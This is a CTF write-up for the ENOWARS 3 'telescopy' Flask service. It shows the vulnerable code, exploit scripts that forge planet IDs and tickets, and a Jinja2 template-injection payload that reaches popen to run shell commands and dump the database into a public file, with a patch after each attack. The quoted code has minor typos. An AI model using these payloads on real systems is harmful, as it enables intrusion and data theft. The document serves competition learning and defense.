ENOWARS 3 WriteUp telescopy
16 July 2019 by alfink and Daniel Weber
Service Overview
Telescopy was a HTTP service written in Python which models an interface for storing information about planets. For every planet you could store the name, declination, right ascension and a flag. After registering you could see a list of all planets, add new planets or get planets.
On selecting a specific planet (sending a GET
to /planet_details
), you could retrieve its declination and right ascension.
As already hinted by its name you could not retrieve the content of the Flag field this way,
but of course there must also be a way for the gameserver to retrieve its flags.
When a new planet was added, the server answered the request with a generated planet–id.
Knowing this id and passing it along with a ticket to the Get Planet
function, you could retrieve all information
(including the Flag field) about the planet where the id corresponds to.
As one could already guess, the gameserver stored flags in the Flag field of the planets and
used the previously mentioned Get Planet
to check the availability of its flags.
Vulnerability 1: Generate Planet IDs
Now that our target is clear, lets take a look at how ids are generated and tickets validated.
Upon calling Add Planet
the following function was called:
def add_planet():
try:
name = request.args.get('name')
dec = request.args.get('declination')
ri = request.args.get('rightAscension')
flag = request.args.get('flag')
except:
return "wrong arguments provided"
if name is None or name == "" or dec is None or \
dec == "" or ri is None or ri == "" or flag is None or flag == "":
return "Please provide all planet information!"
if len(name) > 30 or len(ri) > 15 or len(dec) > 15 or len(flag) > 200:
return "value too long!"
if Planet.query.filter_by(name=name).first():
return "A planet with that name already exists!"
p = Planet(name, dec, ri, flag)
iding(p)
db.session.add(p)
db.session.commit()j
return jsonify(p.to_dict())
def iding(i):
e = i.name.encode('utf-8')
d = i.declination.encode('utf-8')
r = i.rightAscension.encode('utf-8')
h = hashlib.sha256(e + d + r)
i.planetId = h.hexdigest()
The interesting part happens inside of iding(p)
as this is where our ids are generated and assigned.
As there is no secret value used for the hash calculation, we can just calculate the ids ourself.
Everything left now is to generate valid tickets.
Upon calling Get Planet
the following code will run:
def get_planet():
idd = request.args.get('id')
t = request.args.get('ticket')
if t is None or not represent_int(t) or idd is None:
return "provide a valid ticket and id!"
s = check_ticket_validity(t)
if s != 2:
return "Invalid ticket! Try again :)"
print("REDIS ticket t: {0} and get is: {1}", t, bool(redis.get(t)), flush=True)
if bool(redis.get(t)):
return "Ticket was used already!"
redis.set(t, bytes(True))
if idd is not None:
ra = Planet.query.filter(Planet.planetId == idd).first()
if ra is not None:
return jsonify(Planet.query.filter(Planet.planetId == idd).first().to_dict())
else:
return "Planet not found!"
def check_ticket_validity(ticket):
return planet.call("./ticketChecker " + ticket, shell=True)
Reversing the ticketChecker
binary was straight forward.
It takes a number as input, negates it and checks if the result is greater than 99.999.999 and prime.
If this holds the check succeeds, hence we have found a valid ticket.
Afterwards every ticket was stored in a Redis instance to make sure that no ticket is used twice.
Exploit for Vulnerability 1
Note that the code for the prime number generation is left out for better readability. It can be found here.
import requests
exploit(target):
sess = requests.Session()
user = randomstring(10)
pwd = randomstring(10)
getparams = {
'username': user,
'password': pwd
}
data = {}
req = sess.request('POST',target + '/register',
params=getparams,data = data, timeout=5)
req = sess.request('POST',target + '/login',
params=getparams, data=data, timeout=5)
# compile regex to parse names from planet list
reg = re.compile(r"Name:(.*)<\/a>")
# compile regex to parse planet information
reg2 = re.compile(r"<label>(.*)</label>")
# get all planet names
req = sess.get(target + "/")
planet_names = reg.findall(req.text)
for i in planet_names:
planet_name = i.strip()
r = sess.get(target + "/planet_details", params={"name":planet_name})
labels = reg2.findall(r.text)
declination = labels[3]
right_asc = labels[5]
# generate planet id
p_id = hashlib.sha256(planet_name + declination + right_asc).hexdigest()
# 28 bit primes are large enough - credits to
# https://langui.sh/2009/03/07/generating-very-large-primes/
big_prime = generateLargePrime(28)
# we need to negate the prime
ticket = "-" + str(big_prime)
# retrieve planet information including flag
r = sess.get(target + "/getPlanet", params={"ticket": ticket, "id": p_id})
print(r.text)
Patch for Vulnerability 1
We just needed to make sure that the ids can not be calculated so we changed the iding
function to append a secret value in the hash generation.
def iding(i):
e = i.name.encode('utf-8')
d = i.declination.encode('utf-8')
r = i.rightAscension.encode('utf-8')
secret = "TryToGuessMe".encode('utf-8')
h = hashlib.sha256(e + d + r + secret)
i.planetId = h.hexdigest()
Vulnerability 2: Template Injection
As previously mentioned, a GET
request to /planet_details
with the parameter name
would give us some information about the planet matching the name
parameter.
The answer for this request was generated using Flask’s Jinja2 template engine.
The vulnerability in here was that our given name
parameter was directly written to the template string using Python’s %s
formatter, hence the engine executed everything we specified.
To test this we could use the following query:
/planet_details?name={{ [].__class__ }}
which would result in the class of our specified object, hence <class 'list'>
.
As we wanted to gain arbitrary code execution out of this, we used the base classes of our list object (list
and object
) to list every subclass of the object
class:
/planet_details?name={{ [].__class__.__mro__[1].__subclasses__() }}
On index 375 we found popen
which allowed us to execute shell commands like this:
?name={{ [].__class__.__mro__[1].__subclasses__()[375]("touch /tmp/pwned",shell=true) }}
Exploit for Vulnerability 2
We used the remote code execution to steal the flags directly from the SQLite database file.
As we had no direct access to the stdout
of our executed code, we created a file in /static
containing the flags.
import requests
def exploit(target):
sess = requests.Session()
user = randomstring(10)
pwd = randomstring(10)
getparams = {
'username': user,
'password': pwd
}
data = {}
req = sess.request('POST',target + '/register',
params=getparams, data=data, timeout=5)
req = sess.request('POST',target + '/login',
params=getparams, data=data, timeout=5)
# generate per team unique secret
team_nonce = int(hashlib.md5(target).hexdigest(), 16) % 6335
file_name = "759465%d689263.txt" % team_nonce
# move database strings to static file
payload = "chmod 777 /app/static && strings /app/planets.db | grep EN" \
" | base64 > /app/static/%s" % file_name
name = "p1{{%20[].__class__.__mro__[1].__subclasses__()[375](%27" \
+ urllib.quote(payload) + "%27,shell=True).communicate()%20}}"
req = sess.get(target + "/planet_details?name=%s" % name)
# retrieve flags from static file
r = sess.get(target + "/static/" + file_name)
print(base64.b64decode(r.text))
Patch for Vulnerability 2
To patch the vulnerability we replaced the %s
formatter by a variable called namevar
and gave the render function the input of the name
parameter.
return render_template_string(template, planet=planeta, namevar=name)
Conclusion
The first exploit was quite stealthy in the traffic because it looked like gameserver connections, but the second exploit was really noisy as one could easily notice the template injection inside the traffic.
As we guess due to the high amount of services, there were many teams which did not patch the vulnerabilities until the end of the competition.
The service was quite surprising as there was a PE–file called TicketChecker.exe
which was completely unused. Nevertheless we had fun working on this service.